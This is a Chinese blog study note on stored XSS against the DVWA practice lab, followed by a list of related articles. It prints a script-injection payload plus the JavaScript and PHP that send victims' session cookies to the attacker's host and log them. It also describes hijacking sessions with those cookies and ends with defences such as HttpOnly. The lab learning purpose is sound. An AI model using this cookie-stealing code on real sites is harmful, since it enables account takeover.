Web安全测试学习笔记-DVWA-存储型XSS
XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</script>的代码,那么这个网站就有被XSS攻击的风险,到底有什么风险呢?又是怎么被攻击的呢?sorry,我也不知道>_<
我用DVWA来练习存储型XSS,目标是窃取用户账号(通过拿到对方的登录cookie)。我在本机再开一台虚拟机,用虚拟机(模拟另一个用户)访问:http://IP地址/dvwa/vulnerabilities/xss_s/。这个页面是不是很像留言或者评论页面~
security level = low
1. 在本机登录(模拟攻击方),输入时发现Name做了长度限制,而Message没有,所以攻击点在Message的输入框
输入:<script src="http://172.24.107.155/test.js"></script>
刷新一下当前页面,刚插入的记录仍然存在,说明恶意代码已经被“存储”在这个页面了~
2. 在本机的php服务下放入js代码文件和php文件。
js文件用来在被攻击方采集cookie并传入php页面,php页面将cookie存入名为cookies的文件中。
test.js文件内容:
var img = document.createElement("img")
img.src = "http://本机ip地址/test.php?cookies="+escape(document.cookie);
document.body.appendChild(img);
test.php文件内容:
<?php
$cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies");
?>
3. 在虚拟机登录(模拟被攻击方),访问刚才的页面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻击方也能看到刚才上传的那条记录(此时js代码已经被执行了..>_<..):
4. 获得登录凭证
攻击方此时啥也不用再干,守株待兔,等着js吧cookie发送到本机后,到刚才放入test.js和test.php文件的地方,会发现多了一个名为cookies的文件~
打开cookies文件,里面记录了被攻击方的登陆cookie:
拿到对方的登录凭证之后,我们就能通过构造http请求(把对方的cookie传进去),以对方的身份操作网站,如果对方的是admin的话,Hmm......
security level = medium/high
medium和high模式下,对Message做了输入过滤,对name只替换了<script>,并加上了长度限制,使用Burp Suite抓包把name的输入改为如下即可
一点点感悟:
1. 通过脚本读取cookie其实很好防御,加上HttpOnly就好了>_<
2. 参数的长度校验前后端都要做,只做前端等于没做。。。
如需转载,请注明出处,这是对他人劳动成果的尊重~
Web安全测试学习笔记-DVWA-存储型XSS的更多相关文章
- Web安全测试学习笔记 - DVWA+PHP环境搭建
DVWA(Damn Vulnerable Web Application),是一个用PHP编写的,作为Web安全测试练习平台的合法环境(毕竟咱不能为了练习就随便找个网站去攻击...),也就是俗称的靶场 ...
- Web安全测试学习笔记-DVWA-CSRF
CSRF(Cross-site request forgery)跨站请求伪造,CSRF的原理简单来说就是攻击者以用户的名义对服务器发起请求,从而达到攻击目的.与XSS不同之处在于,XSS是盗取用户co ...
- Web安全测试学习笔记-DVWA-SQL注入-2
接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL(这个信息非常重要~),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息. 1. 获 ...
- Web安全测试学习笔记-DVWA-盲注(使用sqlmap)
之前的sql注入页面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查询结果和错误信息.而下面的页面,返回信息只有存在和不存在两种情况, ...
- Web安全测试学习笔记-DVWA-登录密码爆破(使用Burp Suite)
密码爆破简单来说,就是使用密码本(记录了若干密码),用工具(手工也可以,if you like...)一条条读取密码本中的密码后发送登录请求,遍历密码本的过程中可能试出真正的密码. 本文学习在已知登录 ...
- Web安全测试学习笔记-DVWA-图片上传
很多网站都有上传资源(图片或者文件)的功能,资源上传后一般会存储在服务器的一个文件夹里面,如果攻击者绕过了上传时候的文件类型验证,传了木马或者其他可执行的代码上去,那服务器就危险了. 我用DVWA的文 ...
- Web安全测试学习笔记 - 文件包含
基础知识 文件包含指的是一个文件动态引用另一个文件,这是一种非常灵活的动态调用方式.有点类似Java引用jar包,但区别在于jar包引用后一般是固定不变的(一般不能动态改变所引用的jar包名称),而文 ...
- Web安全测试学习笔记(Cookie&Session)
一,Session:含义:有始有终的一系列动作\消息1, 隐含了“面向连接” 和“保持状态”两种含义2, 一种用来在客户端与服务器之间保持状态的解决方案3, 也指这种解决方案的存储结构“把××保存在s ...
- Web安全测试学习笔记-DVWA-SQL注入-1
SQL注入的定义网上很多,作为一个初学者,我对SQL注入的理解是这样的:网站应用一般都有后台数据库(不论是关系型还是非关系型),用户在网站上的绝大部分操作,最终都会跟数据库交互(也就是执行一串SQL语 ...
随机推荐
- 2016/06/27 HDFS概述
参考:http://www.cnblogs.com/linuxprobe/p/5594431.html 1.初识HDFS HDFS作为一个分布式文件系统,具有高容错的特点,它可以部署在廉价的通 ...
- C#线程学习笔记九:async & await入门二
一.异步方法返回类型 只能返回3种类型(void.Task和Task<T>). 1.1.void返回类型:调用方法执行异步方法,但又不需要做进一步的交互. class Program { ...
- echart的legend不显示问题
legend的data与series的name 两者必须同时存在,且数量和文字内容必须一致.
- ProcessExplorer 工具下载
链接:https://pan.baidu.com/s/1RPYkFqIMvBX2OKvTm0bgkw 提取码:4v5v
- Linux重器之 Vim 实用命令
Vim 常用的命令 光标定位; hjkl 上下左右移动 0 $ 跳到行首或行尾 gg shift+G 跳到整个文件的开头行或者结尾行 1G ,2G,3G........NG ,跳到第1.2.3 ...
- js解决客户端与服务器时间不一致的问题
引出 最近在写一个项目时,要根据时间进行不同的展示,直接用new Date().getTime()获取当前时间,结果就出问题了.有些用户擅自修改自己的本地时间,导致获取到的时间并不是当前时间,尴尬. ...
- C# 多线程总结 异常处理 线程取消 锁(lock)
那么什么时候能用多线程? 任务能并发的时候 多线程能干嘛?提升速度/优化用户体验 网站首页:A数据库 B接口 C分布式服务 D搜索引擎,适合多线程并发,都完成后才能返回给用户,需要等待WaitAll列 ...
- Spring Boot2解决idea console 控制台输出乱码
Idea默认配置是采用GBK, 而项目工程文件采用的是UTF-8. 编码不一致,导致idea Console控制台输出乱码. 网上的解决方案,大都是直接修改Settings=>Editor=&g ...
- Android 无源码smail进行debug
待调试项目在AndroidManifest.xml中debugable=true 参照此处:https://blog.csdn.net/ausboyue/article/details/8018918 ...
- Visual Studio安装工具和安装组件下载速度慢的问题
下载安装Visual Studio时在下面这个界面下载时速度只有几十KB每秒 解决办法:修改Host文件,在Host文件中添加下面代码,然后保存即可 110.53.72.104 download.vi ...